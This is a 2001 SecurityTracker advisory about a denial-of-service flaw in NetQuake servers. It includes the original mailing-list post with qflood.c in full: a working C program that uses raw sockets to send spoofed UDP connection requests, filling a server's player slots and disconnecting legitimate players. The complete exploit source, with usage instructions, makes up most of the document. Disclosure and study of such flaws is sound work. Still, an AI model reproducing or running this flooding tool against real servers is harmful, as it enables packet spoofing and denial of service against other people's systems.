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NetQuake Servers Allow Remote Users to Deny Service to Quake Users
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SecurityTracker Alert ID: 1002031 |
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SecurityTracker URL: http://securitytracker.com/id/1002031
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Jul 17 2001
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Impact:
Denial of service via network
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Exploit Included: Yes
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Description:
It was reported that a vulnerability in the NetQuake protocol implementation allows a remote user to cause denial of service conditions for other Quake users.
A remote user can generate packets to spoof 'unconnected' Quake clients to fill up available connections on the server. If the server's player limit is reached, no additional players will be able to connect.
If the server does not support multiple clients from the same IP address, it will reportedly disconnect legitimate players if the spoofed connection request's ip address matches that of an existing player.
The report indicates that this vulnerability exists on all NetQuake servers and may exist on QuakeWorld and Quake 2, but that has not been confirmed.
Demonstration exploit code is included in the Source Message.
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Impact:
A remote user can fill up all available player connections on the server, preventing additional players from joining.
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Solution:
No solution was available at the time of this entry.
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Vendor URL: www.idsoftware.com/ (Links to External Site)
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Cause:
State error
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Underlying OS:
Windows (Me), Windows (NT), Windows (95), Windows (98), Windows (2000)
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Message History:
None.
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Source Message Contents
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Date: Tue, 17 Jul 2001 03:07:42 GMT
Subject: Quake client and server denial-of-service
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Below is qflood.c, inspired by a bored Sunday and a bugtraq
post from 1998. This will fill up a Quake server with
spoofed "unconnected" clients, disallowing other players the
ability to connect to the server since the player limit
fills up quickly. Additionally, if the server does not
support multiple clients from the same IP address, it will
disconnect legitimate players if the spoofed connection
request matches that player.
Tested to work on all NetQuake servers. An attack similar
to this could probably work on QuakeWorld and Quake 2, but
I haven't tried it. I highly doubt anything like this could
be created for Quake 3 because of id software's
authentication mechanism.
[begin qflood.c]
/*
qflood.c - Written by Andy Gavin (_k3nny@Efnet,
k@EnterTheGame)
UDP spoofing idea taken from "arnudp" by Arny
(cs6171@scitsc.wlv.ac.uk)
Original idea discussed on Bugtraq in 1998.
This program will fill up a Quake server with spoofed
"unconnected" clients, disallowing other players the
ability to connect to the server since the player limit
fills up quickly. Additionally, if the server does not
support multiple clients from the same IP address, it will
disconnect legitimate players if the spoofed connection
request matches that player.
Compiled on linux 2.2.19 with gcc 2.91.
Tested to work on all NetQuake servers.
Vendor status: Not contacted, since id Software has long
abandoned Quake.
Andy Gavin is not responsible for what you do with this
program. This is meant for testing purposes only.
Greets:
- Karen;
- Parents, Tim, Erica, and my dog;
- insyder, mechtoad, def, ap0k, informer, scythe, zer0v,
fain, and the rest of #clanchat on Efnet;
- deek, cha0ticz, schmorky, Ir8Pir8, redmund, vise,
_nuclear_, and the rest of #prediction on EnterTheGame;
- Joe W, Brian L (good luck...and we'll miss you), and the
rest of the crew at work;
- Steve Yzerman
- Led Zeppelin, Pearl Jam, Radiohead, and Hum
*/
#include <ctype.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <sys/types.h>
struct sockaddr sa;
struct node
{
char *address;
struct node *next;
};
struct node *head = NULL;
struct node *tail;
void add_address( struct node **, char * );
void sig_handler( int );
int main( int argc, char **argv )
{
int x = 1;
int source_port, delay, fd;
struct sockaddr_in *p;
struct hostent *he;
struct node *current;
char *temp;
u_char thePACKET[41]=
{
0x45, /* IP version, header len */
0x00, /* IP diff services field */
0x00, 0x29, /* IP total length */
0xc2, 0xb5, /* IP id */
0x00, 0x00, /* IP fragment offset */
0x80, /* IP TTL */
0x11, /* IP protocol */
0, 0, /* IP header checksum */
0, 0, 0, 0, /* IP src */
0, 0, 0, 0, /* IP dest */
0x00, 0x00, /* UDP src port */
0, 0, /* UDP dest port */
0x00, 0x15, /* length = 21 */
0x00, 0x00, /* UDP checksum */
0x80, 0x00, /* Quake flags */
0x00, 0x0d, /* Quake length */
0x01, /* Quake command = connect
*/
0x51, 0x55, 0x41, 0x4b, /* Quake game = QUAKE */
0x45, 0x00,
0x03, 0x01 /* Quake version = 3 */
};
if( argc != 5 )
{
fprintf( stderr, "\nqflood - floods Quake servers with
spoofed connection requests\n" );
fprintf( stderr, "\tWritten by Andy Gavin (_k3nny@Efnet,
k@ETG)\n" );
fprintf( stderr, "\tUsage: %s <src> <server>
<server_port> <delay>\n", *argv );
fprintf( stderr, "\t\tsrc = comma-delimited list of
IPs/hostnames\n" );
fprintf( stderr, "\t\tserver = Quake server
IP/hostname\n" );
fprintf( stderr, "\t\tserver_port = Quake server port\n"
);
fprintf( stderr, "\t\tdelay = delay between connection
requests (in msec)\n" );
fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3
10.0.0.10 26000 500\n\n", argv[0] );
exit( 0 );
}
srand( time( NULL ));
delay = atoi( argv[4] ) * 1000;
/* build a linked list of addresses entered on command
line */
temp = strtok( argv[1], "," );
add_address( &head, temp );
signal( SIGINT, sig_handler );
tail = head;
temp = strtok( NULL, "," );
while( temp != NULL )
{
add_address( &(tail->next), temp );
tail = tail->next;
temp = strtok( NULL, "," );
}
current = head;
while( 1 )
{
while( current != NULL )
{
if( ( he = gethostbyname( current->address )) == NULL
)
{
fprintf( stderr, "Can't resolve src\n" );
exit( 0 );
}
bcopy( *( he->h_addr_list ), ( thePACKET + 12 ), 4 );
if( ( he = gethostbyname( argv[2]) ) == NULL )
{
fprintf( stderr, "Can't resolve server\n");
exit( 0 );
}
bcopy( *( he->h_addr_list ), ( thePACKET + 16 ), 4 );
source_port = rand() % 3976 + 1024;
*(u_short*)(thePACKET + 20) = htons( (u_short)
source_port );
*(u_short*)(thePACKET + 22) = htons( (u_short) atoi(
argv[3] ));
p = ( struct sockaddr_in* ) &sa;
p->sin_family = AF_INET;
bcopy( *( he->h_addr_list ), &(p->sin_addr), sizeof(
struct in_addr ) );
if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) ==
-1 )
{
perror( "Can't create raw socket (you must run as
root)" );
exit( 0 );
}
if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x,
sizeof(x)) < 0 )
{
perror( "setsockopt IP_HDRINCL error" );
exit( 0 );
}
if(( sendto( fd, &thePACKET, sizeof(thePACKET), 0,
(struct sockaddr*)p, sizeof(struct sockaddr ))) == -1)
{
perror( "sendto error" );
exit( 0 );
}
printf( "Quake connection request sent from %s:%i to
%s:%s\n", current->address, source_port, argv[2], argv[3] );
usleep( delay );
current = current->next;
}
current = head;
}
exit( 1 );
}
void add_address( struct node** reference, char *data )
{
struct node* new_node = malloc( sizeof( struct node ));
new_node->address = data;
new_node->next = *reference;
*reference = new_node;
}
void sig_handler( int number )
{
struct node *current = head;
struct node *next;
printf( "\nCaught SIGINT. Cleaning up memory..." );
while( current != NULL )
{
next = current->next;
free( current );
current = next;
}
printf( "done.\n\n" );
exit( 1 );
}
[end qflood.c
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